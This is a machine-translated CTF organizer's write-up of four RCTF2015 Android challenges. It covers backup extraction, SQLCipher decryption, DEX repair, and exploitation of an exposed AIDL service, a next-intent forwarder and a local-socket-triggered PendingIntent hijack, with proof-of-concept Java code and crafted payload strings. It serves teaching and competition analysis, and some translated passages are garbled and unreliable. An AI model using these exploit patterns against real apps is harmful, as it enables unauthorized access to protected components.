Xbalien · 2015/11/18 comeliness

@Xbalien ROIS

From the simple decompilation of APK on CTF to the various hardening reversals, the difficulty has gone up several levels. However, except ACTF, most Mobile problems are still reverse oriented. This time, as a member of ROIS, I was lucky to participate in the RCTF2015 topic setting work, so I tried some new ideas of topic setting, which made everyone not adapt to the topic, and also caused a lot of mistakes. Welcome suggestions, comments and jokes.

This time RCTF has a separate Mobile category, the theme is vulnerability, I hope to discuss with you.

0x00 Mobile100-FlagSystem


Show me the flag. (The flag should include RCTF{}). ab_2e204fe0ec33b1689f1c47bd60a9770c

Android Backup vulnerability + weak local password protection

Ab (version, compress); ab (version, compress); Using Abe to extract directly requires a simple fix to the ab header according to the code. After extraction, two backup APK files are found.

com.example.mybackup

com.example.zi

Mybackup provides a books.db encrypted by sqlcipher. Flags are stored in the database and can be obtained by decrypting the database.

The password can be seen directly by decompiling:

#! java public BooksDB(Context context) { super(context, "BOOKS.db", null, 1); this.k = Test.getSign(context); this.db = this.getWritableDatabase(this.k); this.dbr = this.getReadableDatabase(this.k); }Copy the code

GetSign gets the signature for its own code, calculates the “SHA1”, writes the code directly using the jeb decompression result to get the key, and then selects the correct sqlcipher version to decrypt.

sqlite> PRAGMA KEY = 'KEY';
sqlite> .schema
CREATE TABLE android_metadata (locale TEXT);
CREATE TABLE books_table (book_id INTEGER primary key autoincrement, book_name t
ext, book_author text);
sqlite> select * from books_table
Copy the code

Or use the SQLCipher library provided in BACKUP apK to rewrite the database to read the books.db content can also be obtained.

0x01 Mobile200-Where


Where is the flag.(The flag should include RCTF{}) misc_5b0a7ae29fe01c7a76a19503e1e0273e

Bomb detonation + DEX structure repair

The apK does nothing. There is an ABC file in assets directory. When you open it, you can see the damaged DEX header. You only need to repair all id_sizes according to other related structures of dex header.

All that is left is to find the hidden dex body. Referring to the Security blog [1], I hid a y in the meta-INF directory and put the encrypted dex [email protected]# fjhx11.dex =en(dex body), Aes-128-cbc is stored at the tail of cert. RSA, so that the main APK can be installed normally.

The so-called KEY is actually openSSL’s -pass, which generates the real KEY and iv from KEY.

Openssl enc-AES-128-cbC-d -k [email protected]#fjhx11 -nosalt-in xxx-out xxx2 Decrypt the dex body to the dex Header splicing, jeB decompilation results are as follows:

#! java public class MainActivity extends ActionBarActivity { public String seed; public MainActivity() { super(); this.seed = "m3ll0t_yetFLag"; } protected void onCreate(Bundle savedInstanceState) { } ... }Copy the code

Code insns for the onCreate method

.method protected onCreate(Bundle)V .registers 8 .param p1, "savedInstanceState" 00000000 nop .prologue 00000002 nop 00000004 nop 00000006 nop 00000008 nop 0000000A nop 0000000C nop 0000000E nop 00000010 nop 00000012 nop 00000014 nop 00000016 nop 00000018 nop 0000001A nop 0000001C nop 0000001E nop  00000020 nop .local v1, strb:Ljava/lang/StringBuilder; 00000022 nopCopy the code

By judging the length, we can know that y is actually the extracted code insns. In the second decompilation, you can see that the onCreate method made some changes to the seed, resulting in the final flag.

0x02 Mobile350-Load


This APK has a vulnerability,Can you load the flag? Try it. WaWaWa_0bb98521a9f21cc3672774cfec9c7140

Aidl uses + next_intent to expose the intent

The idea of setting the topic is accumulated in a certain number of their own tests. A Load class declares many native methods. Then a loadUrl is called in the WebActivity to Load the web page. Obtain the flag by loading the flag url with the correct loadUrl.

However, in order to increase the reverse difficulty,APK will detect the caller of SO after starting, and flag will be placed in VPS, adding the logic of SO-Java back and forth JNI interaction, and finally adding the SO reinforcement of Naga. If it is really reverse to do, it is really have to surrender.

After the question released the hint of exposed component exploit, Fudan Six Star Team obtained the flag at the end of the competition, but it was a pity that they did not submit the flag on time.

Manifest: Normal permission protects CoreService, does not export component WebActivity, exports component MiscService

<permission android:name="com.example.wawawa.permission.CORE_SERVICE" android:protectionLevel="normal" />
<activity android:name=".WebActivity" />
<service android:name=".MiscService">
    <intent-filter>
        <action android:name="com.example.wawawa.Misc_SERVICE" />
    </intent-filter>
</service>
<service android:name=".CoreService" android:permission="com.example.wawawa.permission.CORE_SERVICE">
    <intent-filter>
        <action android:name="com.example.wawawa.CORE_SERVICE" />
    </intent-filter>
</service>
Copy the code

WebActivity: Receives and processes a passed serialized object as a parameter to Load. Decode the flagUrl and then loads the decoded page to get the flag, but this component is not exported.

#! java public void onCreate(Bundle arg6) { super.onCreate(arg6); this.setContentView(2130903068); this.a = this.findViewById(2131034173); this.a.setWebViewClient(new g(this)); Serializable v0 = this.getIntent().getSerializableExtra("KEY"); if(v0 == null || ! (v0 instanceof b)) { Toast.makeText(((Context)this), "flag is null", 1).show(); } else { String v1 = ((b)v0).a(); String v2 = ((b)v0).b(); if("loading".equals(((b)v0).c())) { if(v1 ! = null && v2 ! = null) { this.a.loadUrl(Load.decode(((Context)this), v1, v2, a.a)); Toast.makeText(((Context)this), "flag loading ..." , 1).show(); return; } this.a.loadUrl("file:///android_asset/666"); }}}Copy the code

MiscService: Next_intent exists and controls CLASS_NAME to start the component

#! java public Intent a(Intent arg4) { Intent v0 = new Intent(); v0.setClassName(this.getApplicationContext(), arg4.getStringExtra("CLASS_NAME")); v0.putExtras(arg4); v0.setFlags(268435456); return v0; }Copy the code

CoreService: There is an exposed AIDL interface that uses the native method of Load in several places.

#!java
class b extends a {
    b(CoreService arg1) {
        this.a = arg1;
        super();
    }

    public String a() throws RemoteException {
        c v0 = new c(Load.getUrl(this.a), Load.getToken(this.a));
        Thread v1 = new Thread(((Runnable)v0));
        v1.start();
        try {
            v1.join();
        }
        catch(InterruptedException v1_1) {
            v1_1.printStackTrace();
        }

        return v0.a();
    }

    public String b() throws RemoteException {
        return null;
    }

    public String c() throws RemoteException {
        return Load.getIv(this.a);
    }
}
Copy the code

Therefore, after careful analysis and guessing logic, this core service provides two interfaces: one interface obtains the PVs-URL and token parameters by calling the Load native function getUrl and getToken, and then posts to the PVs-URL. If the token is correct, the key can be obtained. The other interface gets its own iv locally via load.getiv. Therefore, it is easy to obtain the keys and iv required for DES decryption by directly exploiting this exposed AIDL interface.

POC is as follows:

#! java protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_bind); try { ComponentName com = new ComponentName("com.example.wawawa", "com.example.wawawa.CoreService"); Intent intent = new Intent(); intent.setComponent(com); bindService(intent, connD, Context.BIND_AUTO_CREATE); } catch (Exception e) { } } private d da; private ServiceConnection connD = new ServiceConnection() { @Override public void onServiceConnected(ComponentName name,  IBinder service) { da = d.Stub.asInterface(service); try { System.out.println(da.c()); System.out.println(da.a()); } catch (RemoteException e) { e.printStackTrace(); } } @Override public void onServiceDisconnected(ComponentName name) { // TODO Auto-generated method stub } };Copy the code

If the intent is decrypted successfully, the flagUrl will be loaded correctly. Access to the flag.

#! java String key = etKey.getText().toString(); String iv = etIv.getText().toString(); String content = "loading"; b data = new b(key,iv, content); Intent intent = new Intent("com.example.wawawa.Misc_SERVICE"); intent.putExtra("CLASS_NAME", "com.example.wawawa.WebActivity"); intent.putExtra("KEY", data); startService(intent);Copy the code

0x03 Mobile450-Target


This APK has a vulnerability, please use it to start the target activity.The flag should include RCTF{}. Package_b6411947d3b360182e8897be40064023

Open local port + PendingIntent + runtime autotamper

[email protected] Security risks of open network ports [2], X-Team PendingIntent Dual Intent can lead to capability leakage [3] and runtime self-tampering code [4].

The PendingIntent is an Intent with no Intent, and the Intent content is modified to enable TargetActivty. The MD5 (input parameter) that is passed to the port to correctly trigger the parameters of the Intent with no Intent is flag. (However, several codes of DEX are self-tampered by SO, so it is necessary to obtain the real loaded code)

Manifest: TargetActiviy is protected with Signature’s permissions

<permission android:name="com.example.packagedetail.permission.TARGET" android:protectionLevel="signature" />

    <activity android:name="com.ui.TargetActivity" android:permission="com.example.packagedetail.permission.TARGET">
        <intent-filter>
            <action android:name="com.example.packagedetail.TAEGET" />
            <category android:name="android.intent.category.DEFAULT" />
        </intent-filter>
    </activity>
Copy the code

Therefore, to enable the activity, a next-intent or capability disclosure is required. By viewing the ListenService, a double-absent intent is located. Therefore, the ListenService logic can be triggered to the ALLOW code logic (the ALLOW logic code is modified in the repackaged and reinforced APP developed in 2013 [5]).

#! java Intent v2_1 = new Intent(); if("reject".equals(arg9)) { v2_1.setClassName(this.a, "com.ui.MainTabHostActivity"); v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10), PendingIntent.getActivity(this.a, 0, v2_1, 0)); ((NotificationManager)v0).notify(1, v1); Log.d("CoreListenService", arg9); } if("allow".equals(arg9)) { v1.setLatestEventInfo(this.a.getApplicationContext(), "Guard", ((CharSequence)arg10), PendingIntent.getActivity(this.a, 0, v2_1, 0)); ((NotificationManager)v0).notify(1, v1); Log.d("CoreListenService", arg9); }Copy the code

Allow = test; perm = READ_F; allow = test

#! java if(GuardApplication.a.get("test") == null) { GuardApplication.a.put("test", Integer.valueOf(0)); } GuardApplication.a.put("test", Integer.valueOf(b.b.get("READ_F").intValue() | GuardApplication .a.get("test").intValue()));Copy the code

However, listenService is an unexported component and cannot be called directly. Therefore, you have to find another way.

A D file is stored in apK Assets, which is actually an encrypted dex file. By looking at the load call GuardApplication you can see:

First copy and decrypt d through B (). After decryption, load com.example.dynamic.Init and execute method A. B () ends up being xor 36, but the xor code was modified in the run-time loaded SO to xor 18, so the D that comes out through 36 xor is not a true dex. I also deleted the loaded dex and odex.

#! java public void a() { this.b(); String v1 = this.e.getCacheDir().getPath(); DexClassLoader v0 = new DexClassLoader(String.valueOf(this.e.getDir(Load.b, 0).getPath()) + "/" + Load.d, v1, null, this.e.getClassLoader()); try { Class v0_2 = v0.loadClass("com.example.dynamic.Init"); Constructor v2 = v0_2.getConstructor(Context.class); Method v0_3 = v0_2.getMethod("a"); this.f = v2.newInstance(this.e); v0_3.invoke(this.f); } catch(Exception v0_1) { v0_1.printStackTrace(); } new File(v1, "bb.dex").delete(); new File(this.e.getDir(Load.b, 0).getPath(), "bb.jar").delete(); }Copy the code

So there are simple ptrace and traceid debugging, try to get d.dex, decomcompile: you can know that after loading the dex, port 127.0.0.1:20151 is enabled. Get the data interaction in the listening state.

#! java public ServerSocketThread(Context arg2) { super(); this.c = arg2; this.b = 20151; } public final void run() { try { this.a = new ServerSocket(); this.a.bind(new InetSocketAddress(InetAddress.getLocalHost(), this.b)); while(true) { Socket v0_1 = this.a.accept(); Log.d("socket", "Socket Acccept! Address=" + v0_1.getInetAddress().toString()); if(v0_1 ! = null) { new b(this.c, v0_1).start(); } Log.d("socket", "Socket Execute Thread Started! Address=" + v0_1.getInetAddress().toString()); } } catch(Exception v0) { v0.printStackTrace(); return; }}Copy the code

In the processing logic, find a place that can accept the parameters passed in the port for different logical processing, and finally parse the parameters to trigger startService and call any service in the main dex and extras logic.

#! java public class a { public static final String b = "mobile://rois/?" ; static { a.a = new HashMap(); a.a.put("start", Integer.valueOf(3)); a.a.put("handle", Integer.valueOf(4)); a.a.put("test", Integer.valueOf(1)); a.a.put("location", Integer.valueOf(2)); a.a.put("getinfo", Integer.valueOf(5)); a.a.put("sms", Integer.valueOf(6)); a.a.put("contact", Integer.valueOf(7)); } public a() { super(); }}Copy the code

Therefore, NC 127.0.0.1 20151, passing data to the port, tries to fire the logic. The following logic is the logic that needs to fire. After accepting arguments, inputs such as xx=xx&xx=xx&xx=xx are parsed. After the relevant input data is retrieved, a specific Intent is constructed, including the component name, extras data, and so on. Finally, the Intent is passed to the logic of the main dex through startService.

#! label_184: if(! v1[1].startsWith("cm=")) { goto label_93; } if(! v1[2].startsWith("ac=")) { goto label_93; } if(! v1[3].startsWith("extr=")) { goto label_93; } v0_4 = v2.getQueryParameter("cm"); v1_1 = v2.getQueryParameter("ac"); String v2_2 = v2.getQueryParameter("extr"); Intent v3_1 = new Intent(); if(v0_4 ! = null) { v3_1.setComponent(new ComponentName(this.a, v0_4)); } if(("true".equals(v1_1)) && v2_2 ! = null) { System.out.println(v2_2); v0_5 = v2_2.split("-"); if(v0_5.length == 6) { v3_1.putExtra(v0_5[0], v0_5[1]); v3_1.putExtra(v0_5[2], v0_5[3]); v3_1.putExtra(v0_5[4], v0_5[5]); } } this.a.startService(v3_1);Copy the code

After the logic of listenService is triggered, the intent parses the logical constraints based on the relevant parameters and sends a notification without an intent. This input MD5 is known as flag.

GetString (“perm”, “per”), where the key “perm” is self-tampered to perm in so.

#! java public int onStartCommand(Intent arg5, int arg6, int arg7) { if(arg5 ! = null) { Bundle v1 = arg5.getExtras(); Iterator v2 = v1.keySet().iterator(); while(v2.hasNext()) { v2.next(); } if(v1 ! = null) { String v0 = v1.getString("name", "name"); if("log".equals(v1.getString("action", "act"))) { this.b = new com.service.ListenService$b(this, ((Context)this), v0, v1.getString( "perm", "per")); this.c = new Thread(this.b); this.c.start(); } } } return super.onStartCommand(arg5, arg6, arg7); }Copy the code

So send listen on port: action = start&cm = com. Service. ListenService&ac = true&extr = name – test – action – log – PERM – READ_F

Allow notification, which stores a double intent with no intent. Modify the intent to trigger TargetActivity.

Ps: I decompiled and confused the APK and found it was still quite painful.

0 x04 summary


In this RCTF2015 Mobile category, I tried some loopy ideas to set the questions. There may be some problems THAT I did not take into account, and maybe the way of obtaining the flag may make you confused. Please forgive me if I let you into the pit. Please try to make Mobile’s CTF more comprehensive and interesting.

At last. For those of you attending the RCTF.

0 x05 reference


  1. Jaq.alibaba.com/blog.htm?sp…
  2. drops.wooyun.org/mobile/6973
  3. xteam.baidu.com/?p=77
  4. Blog.csdn.net/freshui/art…
  5. Github.com/Xbalien/Gua…